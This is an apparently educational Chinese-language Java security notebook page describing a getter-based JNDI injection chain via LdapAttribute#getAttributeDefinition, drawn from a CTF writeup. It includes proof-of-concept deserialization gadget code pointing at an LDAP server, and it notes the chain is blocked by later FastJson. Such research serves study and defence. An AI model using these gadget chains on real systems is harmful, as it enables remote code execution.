Java
  • About This Book
  • 🍖Prerequisites
    • 反射
      • 反射基本使用
      • 高版本JDK反射绕过
      • 反射调用命令执行
      • 反射构造HashMap
      • 方法句柄
    • 类加载
      • 动态加载字节码
      • 双亲委派模型
      • BCEL
      • SPI
    • RMI & JNDI
      • RPC Intro
      • RMI
      • JEP 290
      • JNDI
    • Misc
      • Unsafe
      • 代理模式
      • JMX
      • JDWP
      • JPDA
      • JVMTI
      • JNA
      • Java Security Manager
  • 👻Serial Journey
    • URLDNS
    • SerialVersionUID
    • Commons Collection 🥏
      • CC1-TransformedMap
      • CC1-LazyMap
      • CC6
      • CC3
      • CC2
    • FastJson 🪁
      • FastJson-Basic Usage
      • FastJson-TemplatesImpl
      • FastJson-JdbcRowSetImpl
      • FastJson-BasicDataSource
      • FastJson-ByPass
      • FastJson与原生反序列化(一)
      • FastJson与原生反序列化(二)
      • Jackson的原生反序列化利用
    • Other Components
      • SnakeYaml
      • C3P0
      • AspectJWeaver
      • Rome
      • Spring
      • Hessian
      • Hessian_Only_JDK
      • Kryo
      • Dubbo
  • 🌵RASP
    • JavaAgent
    • JVM
    • ByteCode
    • JNI
    • ASM 🪡
      • ASM Intro
      • Class Generation
      • Class Transformation
    • Rasp防御命令执行
    • OpenRASP
  • 🐎Memory Shell
    • Tomcat-Architecture
    • Servlet API
      • Listener
      • Filter
      • Servlet
    • Tomcat-Middlewares
      • Tomcat-Valve
      • Tomcat-Executor
      • Tomcat-Upgrade
    • Agent MemShell
    • WebSocket
    • 内存马查杀
    • IDEA本地调试Tomcat
  • ✂️JDBC Attack
    • MySQL JDBC Attack
    • H2 JDBC Attack
  • 🎨Templates
    • FreeMarker
    • Thymeleaf
    • Enjoy
  • 🎏MessageQueue
    • ActiveMQ CNVD-2023-69477
    • AMQP CVE-2023-34050
    • Spring-Kafka CVE-2023-34040
    • RocketMQ CVE-2023-33246
  • 🛡️Shiro
    • Shiro Intro
    • Request URI ByPass
    • Context Path ByPass
    • Remember Me反序列化 CC-Shiro
    • CB1与无CC依赖的反序列化链
  • 🍺Others
    • Deserialization Twice
    • A New Blazer 4 getter RCE
    • Apache Commons Jxpath
    • El Attack
    • Spel Attack
    • C3P0原生反序列化的JNDI打法
    • Log4j
    • Echo Tech
      • SpringBoot Under Tomcat
    • CTF 🚩
      • 长城杯-b4bycoffee (ROME反序列化)
      • MTCTF2022(CB+Shiro绕过)
      • CISCN 2023 西南赛区半决赛 (Hessian原生JDK+Kryo反序列化)
      • CISCN 2023 初赛 (高版本Commons Collections下其他依赖的利用)
      • CISCN 2021 总决赛 ezj4va (AspectJWeaver写字节码文件到classpath)
      • D^3CTF2023 (新的getter+高版本JNDI不出网+Hessian异常toString)
      • WMCTF2023(CC链花式玩法+盲读文件)
      • 第六届安洵杯网络安全挑战赛(CB PriorityQueue替代+Postgresql JDBC Attack+FreeMarker)
  • 🔍Code Inspector
    • CodeQL 🧶
      • Tutorial
        • Intro
        • Module
        • Predicate
        • Query
        • Type
      • CodeQL 4 Java
        • Basics
        • DFA
        • Example
    • SootUp ✨
      • Intro
      • Jimple
      • DFA
      • CG
    • Tabby 🔦
      • install
    • Theory
      • Static Analysis
        • Intro
        • IR & CFG
        • DFA
        • DFA-Foundation
        • Interprocedural Analysis
        • Pointer Analysis
        • Pointer Analysis Foundation
        • PTA-Context Sensitivity
        • Taint Anlysis
        • Datalog
Powered by GitBook
On this page
  • 0x01 Throw A Problem
  • 0x02 Newborn Getter RCE

Was this helpful?

  1. 🍺Others

A New Blazer 4 getter RCE

0x01 Throw A Problem

不论是CB链中PropertyUtils.getProperty,还是FastJson的parseObject

能调用类的getter方法

但若把两个我们熟知的存在恶意getter方法的类都ban了

TemplatesImpl#getOutputproperties

JdbcRowSetImpl#getDataBaseMetaData

能否找到一个新的存在恶意getter方法的类呢?最好是在Java标准库的类

0x02 Newborn Getter RCE

LDAP协议的JNDI注入中,InitialContext#lookup的调用栈如下

javax.naming.InitialContext#lookup(java.lang.String)

-> com.sun.jndi.url.ldap.ldapURLContext#lookup(java.lang.String)

-> com.sun.jndi.toolkit.url.GenericURLContext#lookup(java.lang.String)

-> com.sun.jndi.toolkit.ctx.PartialCompositeContext#lookup(javax.naming.Name)

-> com.sun.jndi.toolkit.ctx.ComponentContext#p_lookup

-> com.sun.jndi.ldap.LdapCtx#c_lookup

所以要想实现JNDI注入,入口不一定要是InitialContext#lookup

只要沿途的参数可控,都可以作为入口

这篇文章的作者找到了另一条可以通向com.sun.jndi.ldap.LdapCtx#c_lookup的链子

文章提到了一个在jdk1.4和jdk1.8都存在的类

Introducing com.sun.jndi.ldap.LdapAttribute#getAttributeDefinition~

-> com.sun.jndi.ldap.LdapAttribute#getAttributeDefinition

-> javax.naming.directory.InitialDirContext#getSchema(javax.naming.Name)

-> com.sun.jndi.toolkit.ctx.PartialCompositeDirContext#getSchema(javax.naming.Name)

-> com.sun.jndi.toolkit.ctx.ComponentDirContext#p_getSchema

-> com.sun.jndi.toolkit.ctx.ComponentContext#p_resolveIntermediate

-> com.sun.jndi.toolkit.ctx.AtomicContext#c_resolveIntermediate_nns

-> com.sun.jndi.toolkit.ctx.ComponentContext#c_resolveIntermediate_nns

-> com.sun.jndi.ldap.LdapCtx#c_lookup

Class ldapAttributeClazz = Class.forName("com.sun.jndi.ldap.LdapAttribute");
Constructor ldapAttributeClazzConstructor = ldapAttributeClazz.getDeclaredConstructor(
    new Class[] {String.class});
ldapAttributeClazzConstructor.setAccessible(true);
Object ldapAttribute = ldapAttributeClazzConstructor.newInstance(
    new Object[] {"name"});
setFieldValue(ldapAttribute, "baseCtxURL", "ldap://127.0.0.1:8099/");
setFieldValue(ldapAttribute, "rdn", new CompositeName("a//b"));

Method getAttributeDefinitionMethod = ldapAttributeClazz.getMethod("getAttributeDefinition");
getAttributeDefinitionMethod.setAccessible(true);
getAttributeDefinitionMethod.invoke(ldapAttribute);

太牛了orz!!!

文章里面还提到了PriorityQueue的替代

PriorityQueue它代表的数据结构是优先级队列。

所谓的反序列化就是将数据还原成对象,因此如果要得到一个优先级队列的对象,在反序列化过程中势必会进行排序的操作。而排序的过程中,很有可能就会用到 Comparator 接口类去对数据结构里的数据进行比较。

TreeMap也接受一个 Comparator 接口类作为构造函数的参数,在调用 TreeMap的get或put方法的时候,就会触发 Comparator.compare 方法。

AbstractMap.equals 方法里有 Map.get 方法的调用,两个Map对象判断是否相等,通过遍历一个Map的entrySet每个键值对,比较另一个Map对应键下的值(这里就调用了Map.get(key))是否和原Map的相等

接着找哪里调用了equals,HashMap的readObject就有


还以为这条链子很隐蔽呢。。。fastjson1.2.60就把它ban了(也可能fastjson宁可错杀一百也不放过一个)

Class ldapAttributeClazz = Class.forName("com.sun.jndi.ldap.LdapAttribute");
Constructor ldapAttributeClazzConstructor = ldapAttributeClazz.getDeclaredConstructor(
    new Class[]{String.class});
ldapAttributeClazzConstructor.setAccessible(true);
Object ldapAttribute = ldapAttributeClazzConstructor.newInstance(
    new Object[]{"name"});
setFieldValue(ldapAttribute, "baseCtxURL", "ldap://127.0.0.1:8099/");
setFieldValue(ldapAttribute, "rdn", new CompositeName("a//b"));

JSONArray jsonArray = new JSONArray();
jsonArray.add(ldapAttribute);

BadAttributeValueExpException val = new BadAttributeValueExpException(null);
setFieldValue(val, "val", jsonArray);

ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
objectOutputStream.writeObject(val);

ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object) ois.readObject();

autoType is not support. com.sun.jndi.ldap.LdapAttribute

PreviousDeserialization TwiceNextApache Commons Jxpath

Last updated 2 years ago

Was this helpful?

👉

Real Wolrd CTF 3rd Writeup | Old System (qq.com)
image-20230424140645189
image-20230424140415815
image-20230424140222874
image-20230424140512757